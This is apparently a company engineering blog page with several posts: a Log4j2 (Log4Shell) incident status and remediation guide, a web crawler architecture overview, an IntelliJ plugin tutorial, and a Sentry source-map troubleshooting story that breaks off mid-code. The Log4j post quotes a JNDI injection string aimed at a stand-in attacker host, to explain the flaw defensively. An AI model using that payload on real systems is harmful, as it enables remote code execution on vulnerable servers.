Yext Engineering Blog

Log4j2 Security Vulnerability Status at Yext

rparchuri — Wed, 15 Dec 2021 00:00:00 +0000

On December 9th 2021, a critical vulnerability was disclosed for log4j, a library used for formatting logs in Java applications. This library is actively being used at Yext both in custom code and as a part of 3rd party software. As a part of our emergency response protocol, our teams have issued a patch to address the vulnerability on our own software. We believe this mitigates the demonstrated vulnerability. The following post walks through the technical details and other guidance information such as:

Security vulnerability and resulting effects
Impact Analysis and Remediation activity
Customer guidance on isolation and mitigation

Log4j2 Security Update [12/20/2021]

On December 17th, Apache disclosed yet another vulnerability suggesting that the previously updated Log4j2 version of 2.16 is also vulnerable by way of a Denial of Service attack with the impact of causing resource exhaustion on the target application. Apache has since released a newer version (2.17) of Log4j2.

Yext has been monitoring the external situation since, and is currently NOT aware of any PoCs or exploits in circulation that suggests any practical impact towards the services running 2.16.0. Based on our internal risk triage on the disclosed bug, we have assigned a severity of Moderate risk, and will be working on the remediation based on the timelines mentioned in our vulnerability management policy .i.e. 90 days from the time the bug has been acknowledged. Although the timeline says 90 days, we will make our best effort to expedite the patching process and will keep you posted.

In the meantime, as mentioned in the blog, other mitigating and monitoring controls are in full effect to proactively detect any malicious or suspicious traffic directed at Yext.

Please note, there is NO impact or risk posed to Yext or its customers at this time. Yext response teams are staying on top of this topic as the situation evolves and will continue to provide updates as we become aware of them.

Executive Summary

A critical vulnerability was disclosed for Log4j2, a library used for formatting logs in Java applications. This vulnerability is being tracked as CVE-2021-44228 & CVE-2021-45046.
Yext response teams have issued the latest patch (2.16.0) on Tuesday, December 14th across all our impacted services to address this security risk.
Exploits are available widely over the internet, and reports suggest that this vulnerability is being actively exploited.
Log4j2 is actively being used at Yext both in custom code and as a part of 3rd party software, however the risk has been remediated.
Initial investigation found no malicious activity in the Yext environment. We are closely monitoring the traffic and will keep our customers informed of any such activity.
Yext Security response to events such as these are reinforced by our network and application level defenses such as anomaly detection and network based firewalls.
In cases where upgrade or remediation is not possible, the behavior can be mitigated by setting the system property log4j2.formatMsgNoLookups to true by adding the following Java parameter:
```
-Dlog4j2.formatMsgNoLookups=true
```
While the risk for all Yext clients to this CVE has been mitigated for Yext-hosted services, we strongly encourage clients to ensure they are not exposed to incremental risk with Log4j use in their own environment or environments delivered by their 3rd party vendors. See customer guidance section below for more information.

Technical Summary

This vulnerability can allow threat actors the opportunity to take control of any Java-based, internet-facing server and engage in Remote Code Execution (RCE) attacks. Its being called “Log4Shell”, since its trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form ${jndi:ldap://attacker.com/file}.

From CVE-2021-44228: “An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.” The impact from this vulnerability is likely to be very widespread. There are already reports that threat actors are actively engaged in mass Internet scanning to identify servers vulnerable to exploitation. Many Open Source projects like the Minecraft server, Paper, have already begun patching their usage of log4j2.

Impact Analysis

Java-based Yext applications would have been vulnerable to a Remote Code Execution attack which could have been employed to tamper with external-facing aspects of Yext’s production services.

Due to network isolation, command-and-control services such as our CI pipelines were not at risk.

Mitigations Implemented

A temporary mitigation recommended by LunaSec was applied in the early morning of Friday, December 10th 2021. Detection mechanisms were also put in place to identify suspect log messages that may have been attempting to exploit the vulnerability.

Multiple other mitigations are in effect as of right now:

Mitigation suggested by Apache has been deployed on Friday, Dec 10th,
WAF rules on CloudFlare CDN have been implemented to block any malicious traffic,
EDR signatures implemented in our networks have been enhanced to identify anomalous traffic patterns,
Managed Detection and Response teams (3rd party) are on standby if/when there is a response needed,
Firewall rules have been adjusted to block malicious IP addresses noted from our threat intelligence feeds,
SIEM signatures have been applied and the team is on standby if/when there is a alert

Remediation Activity

The above mitigation has been replaced on Tuesday, December 14th 2021 with an upgrade to a newer version (2.16.0) of the log4j binary that applies the mitigating behavior by default. An additional measure was applied at our CDN/WAF to filter traffic that matched patterns applicable to the exploit.

Additional Monitoring

Monitoring infrastructure at Yext has been extended to include signatures, patterns and other filters to observe and filter for any Log4j exploit traffic. Intrusion detection, Endpoint Monitoring and SIEM tooling were configured to look for any suspicious activity and escalate any findings to both our internal response teams and our external Managed Detection and Response team for expedited remediation.

Additionally, we encourage our Bug Bounty community to proactively identify any entry points and attack vectors that could be used to exploit the Log4j vulnerability or anything adjacent.

Post Mortem Analysis

Our incident response process allowed us to move very quickly once the alarm had been raised. We will be exploring ways to tailor our practices specifically to vulnerability disclosures in the future, to raise the alarm automatically where possible.

Yext Guidance for Log4j remediation in customer environments (External to Yext)

Disclaimer: Yext doesn’t promote or endorse any providers or solutions as a part of this section, and should be treated as potential remediation steps only, that should be explored, tested, and validated by your engineering teams before executing.

Who is impacted?

Due to the nature of the vulnerability, a multitude of services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Anybody using Apache Struts is likely vulnerable. We’ve seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach. This impacts all Java versions; JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 DO NOT seem to be affected by this LDAP attack – this is because these versions set com.sun.jndi.ldap.object.trustURLCodebase to false by default. However, even if not running a directly vulnerable Java version, there are known attack vectors involving third-party libraries.

Although the observed exploit attempts thus far have led to commodity cyptominer payloads, we expect further opportunistic abuse by extending additional vectors that could lead to ransomware and other sinister use cases; possibly by nation state adversaries.

Asset Inventory

First step is discovery of Log4j in your environment or extended environment (vendor and partner ecosystem) and this can be done in multiple ways.

I suggest you go through your code repo, searching for “log4J”.
If you find nothing, ALSO search using any sort of dependency tool – this could be dependencyGraph in GitHub, Snyk, SonaType, White source, etc.
If you don’t have any of the recommended tools, you can use the OWASP dependency check tool, it’s free and open source.
Additionally, reach out to your vendors and/or partners to assess the possible damage or impact their implementation of Log4j can have on your environment.

By now, you should have known if Log4j exists in your environment. If Yes, keep reading – if No, reach out to your security team and let them know you don’t have it. They will be happy to hear it.

Now make a list of all the places where Log4j may have been deployed, and mark it as “DEPLOYED” and for the ones where the Log4j has been observed but hasn’t been deployed, mark it as “DO NOT DEPLOY” and ensure you align your change management process to ensure its not deployed before patches are applied (more on this later).

Remediation

Most preferable and secure option is to upgrade all your Log4j services to the latest version of Log4j as described here.

If that is NOT possible for whatever reason, in releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Statement from Apache

Dealing with CVE-2021-44228 has shown that JNDI has significant security issues. While we have mitigated what we are aware of, it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it. Those who are will need to specify -Dlog4j2.enableJndi=true or the environment variable form of it to use any JNDI components.

If the above options are not possible, use the following guidance as it applies to the use cases within your environment. The following guidance helps mitigate or apply short term controls and thus reducing the attack surface before deploying the permanent patches.

Isolate

If you can, move impacted systems to a ‘dedicated VLAN’ to contain the impact.
If not possible, review your firewall rules between impacted hosts and the rest of your fleet.
Another option is to deploy a proxy firewall with deep packet inspection.

Mitigate

If there are any Web Application Firewalls (such as Cloudflare, CloudFront), enable BLOCK policies.
If they don’t exist out of box, reach out to the vendor. Here is an [example][mititage-example].
Ensure policies on your Endpoint Detection and Response systems are deployed and protected for any malicious or suspicious requests. Please note this may cause some noise, but this will at least help with getting better coverage.

Monitor

Identify any unusual traffic patterns within your network, especially look for web servers that INITIATE outbound connections.
Keep close tabs on your change management process and trigger any alerts when any unauthorized changes are observed in the environment.

Frequently Asked Questions (FAQs)

Q: How has this incident impacted my account?

A: This incident has no impact on your account, our team wanted to share these details as it’s a very widespread issue impacting many software companies. We chose to proactively notify you to ensure you know there is no impact here at Yext.

Q: What actions, if any, need to be taken on my (client) end?

A: No actions need to be taken by clients at this time.

Q: What resources can I use to scan and identify Log4j assets in my environment?

A: Please use the below resources posted by the industry leaders in supply chain security. Yext doesn’t promote or endorse any of the following providers – this is meant for educational purposes only.

References

Overview of the Yext Crawler

kliu — Mon, 13 Dec 2021 00:00:00 +0000

Yext’s Crawler is a web crawler that enables scraping the unstructured web at scale. Together with Connectors, which convert the scraped data into structured entities, the Crawler enables brands to quickly load their data into Yext’s Knowledge Graph. This minimizes the manual work needed and expedites the setup required to use various other products such as Listings, Pages, and Answers.

By running the Crawler against their own web pages and then using Connectors, brands can load their entities into Yext and sync their data to Yext’s Knowledge Network automatically. For example, administrators can use the Crawler to scrape a Frequently Asked Questions page on their website and power their site search with Answers, thus utilizing the capabilities of AI search over an outdated keyword search.

Before we dive into the specifics, here’s a quick rundown of the terminology we use when talking about Crawlers. A single brand (aka the user) can have multiple Crawlers, and each Crawler can have multiple execution requests where each request represents a particular run of the Crawler. Each execution request consists of multiple tasks, where each task represents a single page crawled.

Consider a business with a Crawler configured to crawl all pages found on its domain — www.examplebusiness.com — at a daily cadence. That Crawler will create an execution request every single day to crawl all pages on www.examplebusiness.com. Tasks will then be created for each link it visits within this domain, such as www.examplebusiness.com/product1 and www.examplebusiness.com/locations.

High-level Architecture

When a Crawler is run, an execution request is created to track the state of the crawl as a whole. From this request, an initial set of tasks is generated and stored in the database. Stored tasks are regularly fetched from the database and fairly scheduled (see the Fair Scheduling section) for scraping by scrapers hosted on EC2 instances in AWS.

Crawl execution requests for Crawlers are broken down into tasks by servers in Yext’s data center before they are forwarded to our AWS-hosted scraper pool for execution. After a scrape task is completed, the scraped content is sent back to Yext servers for processing. Processing the results involves extracting some basic metadata and storing that alongside the scraped content.

To prevent storing duplicates of the scraped content, we store a hash of the content to detect whether or not a page has changed since the last scrape. If a page hasn’t changed, then the scraped content doesn’t need to be saved again.

In addition to storing basic metadata and content, any URLs that are present in the content are also extracted. The Crawler supports three different strategies for handling URLs: Specific Pages, Sub Pages, and All Pages. Each strategy specifies the relevancy of extracted URLs — Specific Pages matches specific URLs, Sub Pages matches all pages under a URL prefix, and All Pages matches all URLs.

After extracting all URLs from the content, the URLs are further filtered down to those that are unvisited and relevant, and the filtered URLs are then used to generate new tasks for scraping.

This cycle of scraping and processing, more commonly referred to as spidering, continues until there are no more URLs for the Crawler to visit.

Scalability

The Crawler is capable of scraping over a million pages per day. The distributed scrapers themselves are configured to automatically scale out as crawl requests grow by leveraging Amazon EC2 Auto Scaling. As requests grow, more EC2 instances will be spun up for more scraping throughput; when the requests die down, the excess EC2 instances will be killed to remove idle scrapers.

All other steps of the crawl process, which are hosted within Yext’s data centers, can easily scale horizontally with the addition of servers as needed.

Error Handling

With the variability of websites that the Crawler is tasked with handling, a variety of errors will inevitably emerge. These errors fall into two categories: permanent and transient errors.

Permanent errors are, as the name suggests, errors that will persist despite any number of retries. For example, despite a successful scrape, a page may return no content at all. In cases like these, the error is simply propagated and reported back to the user.

The other class of errors, transient errors, are temporary and can often be remedied by retrying the scrape. For example, the Crawler may encounter a website that is temporarily down as a result of external factors, such as a cloud provider outage. The Crawler utilizes exponential backoff to retry such tasks in the hopes that, given enough time, the task will eventually succeed. Exponential backoff increases the time between retries at an exponential rate, as stretching out retries over a longer period of time allows the task a greater chance to recover and succeed.

Fair Scheduling

With limited resources, the simplest approach to scheduling scraper work is to insert all the tasks into a first in, first out (FIFO) queue. Each customer can have multiple Crawlers, and at peak usage there could be multiple ongoing crawls per customer. Each ongoing crawl will be executing a particular request, which itself can have up to 100,000 tasks. The FIFO queue works well when the number of tasks per execution request is small relative to the number of scrapers available, but this approach quickly runs into issues as this ratio grows.

If one customer has an enormous number of tasks for a single crawl, those tasks can quickly end up consuming all of our scraping resources. The consequence is that crawls from other customers will be blocked as they wait for scrapers to become free. This leads to poor user experience, as the end user could end up waiting hours for their crawl to start, even if their execution request has a small number of tasks.

In order to schedule tasks more fairly, we allocate three quotas according to these measures of priority: the age of a request (oldest first), whether this is a Crawler’s first request, and at least two tasks from each execution request. There can be some overlap between each quota – the tasks from the oldest request can overlap with the two-task minimum from each request, for example – and this is taken into account when determining the exact sizes of each quota.

First, allocating quota to the oldest tasks ensures that we can set a reasonable upper bound on how long a user will have to wait for a task to be processed. Second, allocating quota to the tasks belonging to a Crawler’s first execution request ensures that a new Crawler will have results as soon as possible. Lastly, at least two tasks are scheduled from each execution request at a time, guaranteeing that we are pulling in tasks from all execution requests. This prevents a single large execution request from hogging all of our scraping resources.

Conclusion

Through a combination of scalable architecture, exponential error handling, and fair scheduling we’ve developed a Crawler that can support high usage loads while simultaneously maintaining the same Crawler experience across all customer accounts regardless of size. By making the Crawler easy and accessible to use, it drastically cuts down on the time needed to load entities into the Yext Knowledge Graph and start using Yext’s other products.

While the Crawler’s main architecture has already been well-defined, we are constantly adding new features to it. In the future, we plan on adding support for crawling authenticated sites (where a user must login to view the content) and crawling various file types such as PDFs and images.

Writing a Simple Intellij Plugin

jsharps — Tue, 26 Oct 2021 00:00:00 +0000

When talking about our work, it’s often convenient to have others review the code that you’re looking at. Sharing files is a convenient way to establish a shared context. However, the process of actually getting coworkers to open those files can be inconvenient.

Paths are long and inconvenient to copy, and within the Yext monorepo, filenames are not necessarily unique or even quickly identifiable amongst a sea of similar looking files. Our code review tool has a browser built into it, but getting a link still requires you to either navigate to the file (which is slow) or type the path (which is both slow and hard). On the other hand, I can navigate to a file in my integrated development environment (IDE) almost instantly.

After struggling with this for the nth time, I thought “Why can’t my IDE just generate the link for me?” As a Vim hipster, I implemented this for myself pretty quickly, but I felt bad for my Intellij-bound coworkers who couldn’t experience my joy. Thus, the idea for a simple Intellij plugin was born. All the plugin would do is provide a right click action when you click a file’s tab to copy the repository link.

Starting Out

I started out at this page on the JetBrains website, which offered the various ways to create a plugin. We use Bazel at Yext and (beyond some small forays into Android) I’ve never used Gradle, so I went with the Using Github Template solution. As it turns out, this also involves Gradle, but they’ve done all the hard work for you. That leads you to this github repo which is very smooth. You simply click Use this template and it creates an Intellij project for you, specifically for developing your plugin.

Investigation

With repo in hand, it was time to figure out how to write my plugin. I popped open the project in Intellij and after an exhaustive five minutes of documentation searching, went all in on the Run ‘Run Plugin’ command. I learn by doing, so I figured this might be more instructive. It turns out this launches a second instance of Intellij with your plugin installed. A quick check of the console in the first instance confirmed the hello world logging was working as expected. This setup works really well and is much more intuitive than Chrome or Firefox plugin development, in my experience — especially viewing the logs.

Intellij plugins use Kotlin. You can use Java, but all the documentation and resources on the internet I found were for Kotlin. Given the reputation Kotlin has for being easy to learn and fun to program in, I figured I’d stay in Kotlin.

Actual Plugin Stuff

I started by deleting all the existing code, because it didn’t look useful. This turned out to be fine, so no regrets. My googling for “right click context menu intellij plugin” eventually led me to a Medium post which was very similar to what I was trying to do. While some parts didn’t exactly line up with what I wanted to do, it detailed how to add an action to a menu, and it was only a hop, skip, and a jump to find out how to add to the right click file tab context menu. With a simple, basically empty class and some xml tweaks, I got the Copy Repository Link action to show up in the right spot. At this point, my actual code looked like this.

class GitClipCopyAction : AnAction() {
    override fun actionPerformed(e: AnActionEvent) {
    }
}

Next was adding functionality. Again, the Intellij plugin documentation looks very thorough but finding anything useful in there is like finding a needle in a haystack. A smattering of stack overflow, random blog posts, and exploring autocomplete in Intellij finally got me the correct code to determine the relative path of the file to our git root. This isn’t the finest code ever produced, but given that all our developers have the same environment, it shouldn’t throw any exceptions for them anytime soon.

var path = e.getData(LangDataKeys.VIRTUAL_FILE)?.canonicalPath.orEmpty()
var vcsRoot = VcsUtil.getVcsRootFor(e.project!!, e.getData(LangDataKeys.VIRTUAL_FILE))
if (vcsRoot != null) {
    var relativePath = VcsFileUtil.getRelativeFilePath(path, vcsRoot)
}

I’m not entirely sure how you’re supposed to figure this out without just following around random code examples on the internet and noting useful looking classes along the way. Then again, sometimes that feels like an apt description of an average day’s work :)

The next step was figuring out how to manipulate the system clipboard in Kotlin. Googling it didn’t give any useful results except for Android. Unfortunately the large Kotlin user base there means most searches are biased towards Android results. Like many JVM-based languages though, Kotlin also has access to standard java imports. There are many java solutions to this problem on the internet, and they only need a small modification to account for Kotlin syntax.

Toolkit.getDefaultToolkit().systemClipboard.setContents(
    StringSelection("https://yext.internal.repo.url/+/refs/heads/master/" + relativePath),
    null)

Boring Plugin Stuff

The Intellij index is incredibly powerful and a good chunk of why users love it. However, that means the default is for actions to be unavailable until indexing is complete. To ignore this restriction, you have to make your action DumbAware. I guess my plugin is pretty simple but I can’t help but feel a little insulted. I also struggled a surprising amount with getting the icon in the right place. Both the Medium post from before and the Intellij documentation specified separate locations, neither of which worked for me.

Also, after it was shared, a new version of Intellij came out and those who upgraded reported it didn’t work. That’s because I had foolishly supplied an upper bound for compatible versions. To fix this, in gradle.properties, I put no value for pluginUntilBuild. Then I set updateSinceUntilBuild = false in build.gradle.kts, and removed untilBuild(pluginUntilBuild) from patchXml in the same file. There were several suggestions on the internet on how to accomplish this, but this is what ended up working for me.

The Final Implementation

This class implements the plugin functionality

package com.yext.intellij.jsharps

import com.intellij.ide.plugins.PluginManager
import com.intellij.openapi.actionSystem.AnActionEvent
import com.intellij.openapi.actionSystem.LangDataKeys
import com.intellij.openapi.project.DumbAwareAction
import com.intellij.vcsUtil.VcsFileUtil
import com.intellij.vcsUtil.VcsUtil

import java.awt.Toolkit
import java.awt.datatransfer.StringSelection

class GitClipCopyAction : DumbAwareAction() {

    override fun update(e: AnActionEvent) {
        e.presentation.isEnabledAndVisible = true;
    }

    override fun actionPerformed(e: AnActionEvent) {
        var path = e.getData(LangDataKeys.VIRTUAL_FILE)?.canonicalPath.orEmpty()
        var vcsRoot = VcsUtil.getVcsRootFor(e.project!!, e.getData(LangDataKeys.VIRTUAL_FILE))
        if (vcsRoot != null) {
            var relativePath = VcsFileUtil.getRelativeFilePath(path, vcsRoot)
            Toolkit.getDefaultToolkit().systemClipboard.setContents(
                StringSelection("https://yext.internal.repo.url/+/refs/heads/master/" + relativePath),
                null
            )
        }
    }
}

And this handles declaring the action

<idea-plugin>
    <id>com.yext.intellij.jsharps.GitClipCopy</id>
    <name>Git Clip Copy</name>
    <vendor>JSharps</vendor>

    <!-- Product and plugin compatibility requirements -->
    <!-- https://www.jetbrains.org/intellij/sdk/docs/basics/getting_started/plugin_compatibility.html -->
    <depends>com.intellij.modules.platform</depends>

    <actions>
        <group id="my-group">
          <separator/>
          <action id="com.yext.intellij.jsharps.GitClipCopyAction"
                class="com.yext.intellij.jsharps.GitClipCopyAction" text="Copy Gerrit Link"
                description="Copy Link to git url"
                icon="/icons/clip_icon.png"></action>
          <add-to-group group-id="EditorTabPopupMenu" anchor="last"/>
        </group>
    </actions>
</idea-plugin>

As expected, this plugin has a very small footprint, and the majority of it is telling Intellij how and where to render the action. After running ./gradlew buildPlugin the plugin zip was ready to go! Here, the Intellij documentation was straightforward and installation was no problem.

Future Enhancements

This is a great proof of concept, and I’ve already gotten some feedback and generated a few ideas myself:

Customizable repo format — for distribution or just to remove magic strings.
Line numbers if you click in the gutter or something
Allowing it to link to specific refs.
Hot keys

Final Thoughts

Several of my coworkers have let me know that this plugin has improved their workflow, which is all I ever wanted out of it. Developing an Intellij plugin was straightforward and an unexpected avenue for improving quality-of-life. Now I’m eyeing Firefox extensions to make similar small but impactful improvements in the web portion of my life.

Configuring Sentry with JavaScript Source Maps

jwoglom — Mon, 27 Sep 2021 00:00:00 +0000

Sentry is an essential part of a Yext engineer’s workflow. Whenever an error occurs in one of our 1,000+ microservices, Sentry helps our engineers understand what’s wrong, so they can make fixes quickly.

Sentry is an open-source system which serves as a pipeline for errors from many different systems. When an application experiences an error, it will report it to the owning team’s Sentry board. Similar errors are grouped together into issues, and when new issues are identified our tooling will send a Slack message to the team who owns the service experiencing a problem so they can resolve it.

When viewing an issue, Sentry shows detailed information about the context in which the issue occurred. This usually includes some form of exception traceback, depending on what is supported by the programming language.

While we primarily use Sentry as a tool for tracking backend application bugs, it works on the frontend too! The Yext Platform includes the Sentry JavaScript SDK, which reports frontend JavaScript errors to our Sentry instance. This allows our engineers to view frontend bugs within the same interface as as those on the backend.

This comes with one major complication, however. JavaScript tracebacks in Sentry are more or less unreadable. This is because the tracebacks are generated from minified JavaScript files, designed to be served in production for end-users of Yext. Since minified JavaScript is intended for machines, not humans, it doesn’t contain helpful niceties like readable variable names, indentation, or comments. For example:

In order to actually make sense of a minified code traceback like this, source maps are essential.

What’s a source map?

Source maps are so named because they map minified JavaScript files to their non-minified counterparts. They essentially serve as a translation table which can be used in tandem with a minified JavaScript file to derive the original, unobfuscated source code.

Minified JavaScript files typically have a .min.js file extension, and can inform developer tooling of the presence of a .js.map source map file with a comment such as:

//# sourceMappingURL=entitysearchstorm.js.map

Developer tooling which understands source maps interprets that directive as a command to fetch the .js.map file and then parse it alongside the .min.js file to map minified source code to unminified code. Source maps are ubiquitous across the frontend developer tooling ecosystem, with support in Chrome and Firefox’s DevTools in addition to tools like Sentry.

Specifically, Sentry uses source maps to make its JavaScript tracebacks more readable, by augmenting each frame in the stack trace with the unminified source code present in that area.

The Problem

If source maps are so well supported across developer tooling, then why write this blog post?

For a multitude of reasons, the process of enabling JavaScript source map support in Sentry seemed simple initially, but spawned into a months-long troubleshooting adventure, rife with wrong turns, bad guesses, and – eventually – payoff.

After finally getting it working, I felt that the process of solving this problem was a perfect encapsulation of the kind of frustrating-yet-satisfying work that goes on in the realm of Production Engineering.

I’ll chronicle the journey by sharing each major troubleshooting step along the way, as well as how it either moved us closer to a solution or further away from it. So sit back and enjoy the ride…

Attempt 1. Adjusting The Setting

The most difficult problems often appear simple at the start, and this was no exception.

I enabled the aptly-named “Allow JavaScript Source Fetching” setting within the Sentry UI, and waited for a new JavaScript event to be ingested by Sentry.

Attempt 2. Increasing the Cache Size

A few minutes later, we had a clue as to what was wrong: this banner began appearing on all JavaScript issues in Sentry.

Per the message, the remote JavaScript files we were attempting to fetch appeared to be “too large for caching”. What cache is it talking about?

Sentry contains many different components which together allow for events to be ingested, but is at its core a Django-based Python application. Knowing this, I dived into its default settings file and looked at the available options, one of which was SENTRY_CACHE_MAX_VALUE_SIZE:

# Maximum content length for cache value.  Currently used only to avoid
# pointless compression of sourcemaps and other release files because we
# silently fail to cache the compressed result anyway.  Defaults to None which
# disables the check and allows different backends for unlimited payload.
# e.g. memcached defaults to 1MB  = 1024 * 1024
SENTRY_CACHE_MAX_VALUE_SIZE = None

This seemed like a reasonable setting to look at to fix the “too large for caching” error. It mentions source maps explicitly, as well as a possible default limit if using Memcached.

But having set up our Sentry deployment, I knew that we weren’t using Memcached, and the comment block also mentions that a value of None disables the check, which it was already set as. Given the mention of different, backend-related maximums, I assumed that Redis was being used as our cache backend rather than Memcached, since Redis was running inside our cluster for use by Sentry. Maybe setting a high value here would override a different maximum check present somewhere for Redis?

I set the variable to 40MB on the off chance that it made a difference. Unfortunately, it did not, and the error remained.

Attempt 3. Redis Limits

I next considered whether our Redis cluster might have a maximum value size that was being applied. However, I quickly stopped going down this troubleshooting route as the Redis documentation on data types clearly states:

A String value can be at max 512 Megabytes in length.

The JavaScript files attempting to be fetched were in the low-megabyte size range, so that certainly didn’t seem like it would be an issue. I moved on, figuring that Redis was probably functioning completely fine. (It was.)

Attempt 4. Maybe we’re timing out?

I next attempted to change some settings options related to fetch timeouts, on the oft chance that network requests to our served JavaScript files were timing out:

##################################
# JavaScript source map settings #
##################################

# Timeout (in seconds) for fetching remote source files (e.g. JS)
SENTRY_SOURCE_FETCH_TIMEOUT = 30

# Timeout (in seconds) for socket operations when fetching remote source files
SENTRY_SOURCE_FETCH_SOCKET_TIMEOUT = 30

# Maximum content length for source files before we abort fetching (40MB)
SENTRY_SOURCE_FETCH_MAX_SIZE = 40 * 1024 * 1024

This didn’t move the needle in any direction. These timeouts weren’t being hit before, and they weren’t still.

Attempt 5. Maybe upgrading will fix it?

Going on at the same time as the last troubleshooting step, our team was planning to upgrade to a more recent version of Sentry due to bugs we were experiencing with past upgrades. The Sentry development team shipped release 21.4.0 with a bug that prevented the Dashboard page from being displayed, after previously shipping release 21.3.0 with a bug that prevented new alerts from being created. Unluckily for us, we had run into both of those issues, and while we organizationally did not depend strongly on these specific Sentry monitoring features, wanted to quickly upgrade to a more stable version of Sentry without any showstopper bugs.

Given that we were planning to perform this upgrade soon, we thought it would be worth pushing further source map investigation until after the upgrade.

Attempt 6. Did we break it?

After the upgrade, we gradually started experiencing more issues with Sentry unrelated to source map fetching. Specifically, we were encountering scenarios where, after a spike in Sentry events sent from a downstream service, Sentry would get backed up with events and eventually stop processing them entirely. This culminated in us declaring an internal incident, where for a few days our team focused entirely on getting our internal instance of Sentry working reliably.

During this period, we disabled source map fetching (which already wasn’t working) in an attempt to improve Sentry performance. We discovered later that the source map fetching had nothing to do with the issues we were experiencing, but this did set us back to square one on the source map troubleshooting front. The Sentry issues we experienced could themselves be the basis for a different blog post, so I won’t make this one any longer going into our deployment problems in more depth.

After the incident, we made use of the aptly-timed Engineering-wide Quality Sprint to improve our monitoring of Sentry. I built out a customized Prometheus Exporter for black-box monitoring of Sentry’s event throughput, for instance, which helped us identify future event processing delays with alerts.

After all of this time spent on Sentry-related work, we spread out the remaining stories in our Sentry epic, including fixing source maps, across sprints so that we could make progress on other deliverables.

Attempt 7. Blame Kubernetes

A few weeks later, we picked up the source maps story into our sprint and began a deep-dive into the configuration of our deployed Sentry application. We run Sentry in a Google Kubernetes Engine cluster, using a modified version of the sentry-kubernetes Helm chart.

Sentry uses worker processes, which fetch background tasks from RabbitMQ, as part of the event processing flow which includes fetching sourcemaps. We identified that the sentry-worker Kubernetes deployment was configured to mount a sentry-data persistent volume, but this mount was read-only. This meant that no sentry-worker pods could fetch source maps and save them to disk.

A simple solution would be to remove the readOnly: true flag on the VolumeMount for the data volume. However, this would not work because the access mode of the volume was set to ReadWriteOnce. This meant that only a single pod could be configured with non-read only access to the volume. As part of our Kubernetes deployment of Sentry, we have anywhere from 5 to 15 replicas of the sentry-worker configured (based on autoscaling), plus the sentry-web pod, so that wouldn’t be workable.

What we needed was a way for multiple pods to read and write to the same storage. Kubernetes contains a PVC access mode called ReadWriteMany, which as the name implies allows multiple pods to have a read-write attachment to a single volume, which is exactly what we needed. However, Google Kubernetes Engine does not support this!

PersistentVolume resources support the following access modes:

ReadWriteOnce: The volume can be mounted as read-write by a single node.

ReadOnlyMany: The volume can be mounted read-only by many nodes.

ReadWriteMany: The volume can be mounted as read-write by many nodes. PersistentVolume resources that are backed by Compute Engine persistent disks don’t support this access mode.

However, there was still a path forward, hinted at by the documentation for the Sentry Kubernetes helm chart: running a NFS server inside our Kubernetes deployment, and having the sentry-web and sentry-worker deployments mount the volume using the NFS volume type. If we had wanted to fully utilize the Google Cloud ecosystem, Cloud Filestore might have been an alternative option for a GCP-managed NFS-like deployment, but we didn’t investigate this.

Attempt 8. The Gang Runs a NFS Server

My coworker spun up a NFS server deployment inside our sentry namespace, and through it was able to set up a multi-mount PVC. This involved creating a StatefulSet for the NFS server itself, which was backed by a normal GKE ReadWriteOnce volume, and then creating a separate PersistentVolume and PersistentVolumeContainer which referenced the StatefulSet via its DNS hostname as a NFS server. That final PVC could then have access mode ReadWriteMany, in order to be consumed by the workers and web pods.

Once deployed, we could now successfully kubectl exec into different worker pods and write data to the shared volume! I felt fairly confident for once that we were nearing the end of this rollercoaster.

But after updating our deployment with the ReadWriteMany volume fully working, we still had the same issue. After all of our work so far, we still didn’t have any source code – minified or not – showing up in Sentry.

At this point, my team had spent a lot of time on Sentry related work, and we were convinced that scraping source maps might just never work properly. Sentry recommends new users towards uploading their sourcemaps directly to Sentry itself, which is something we had considered earlier, but would require some more complicated logic in our CI deployment pipelines which we wanted to avoid if possible.

We kept a “fix Sentry source maps” JIRA task in our backlog, hoping to look into making those deployment-related changes for uploading source maps within a few months.

Attempt 9. A New Hope

But then, around a month later, a Slack post in our #help-production channel asking about Sentry source maps brought about a flurry of activity to try and fix the issue again…

One thing I especially enjoy about working at Yext is the broader engineering culture that is present across all of our teams. Instead of putting up silos between the different groups and teams in our Engineering organization, we encourage members of different teams to collaborate and help each other. Using a Git monorepo with a single code review tool (Gerrit) also helps eliminate friction, allowing anyone within Yext Engineering to view and upload a code review that touches another team’s code.

In this case, two engineers from our Web Publishing group noticed that the Content-Type of source map files being served from our webserver appeared to be wrong. They shipped a change to the base configuration file for the Java Play! Framework, which is used by many of our microservice applications which serve their own static JavaScript files.

The hope within Slack was palpable as Justin made the change locally, exposed his local instance through ngrok, and verified that the Source Map Validator at sourcemaps.io was now able to identify the source map. As if that wasn’t exciting enough, the Source Map Validator website was run by the Sentry team. If the site could detect the source map, that sure seemed to imply that Sentry would be able to well.

Justin and Brandon discussed further and put up a code review that was quickly shipped on a Thursday evening. After waiting the weekend for Sentry errors to pop up in some newly redeployed applications..

By mid-day Monday, the error persisted. Nothing appeared to have changed in Sentry.

Attempt 10: The Other Caching Mechanism

Newly convinced that any source map serving issues were now resolved, I decided to dive deep into the Sentry source code to try and figure out what was going on. I cloned the github.com/getsentry/sentry repository, searched for references to source maps, and tried to build a mental model of what I thought might be going on.

I honed in on the fetch_sourcemap() function in Sentry’s Python source code, and traced the source map fetching process to this section in fetch_file(). That method contains the only reference in the entire codebase to the EventError.TOO_LARGE_FOR_CACHE constant, which corresponds with the “Remote file too large for caching” error message we were observing. Deductive reasoning suggested that this code snippet was invoking that code path, causing the error message:

def fetch_file(url, project=None, release=None, dist=None, allow_scraping=True):
    """
    Pull down a URL, returning a UrlResult object.
    Attempts to fetch from the database first (assuming there's a release on the
    event), then the internet. Caches the result of each of those two attempts
    separately, whether or not those attempts are successful. Used for both
    source files and source maps.
    """
    
    cache_key = f"source:cache:v4:{md5_text(url).hexdigest()}"

    logger.debug("Checking cache for url %r", url)
    result = cache.get(cache_key)

    # ..snip..

    if result is None:

        # ..snip..

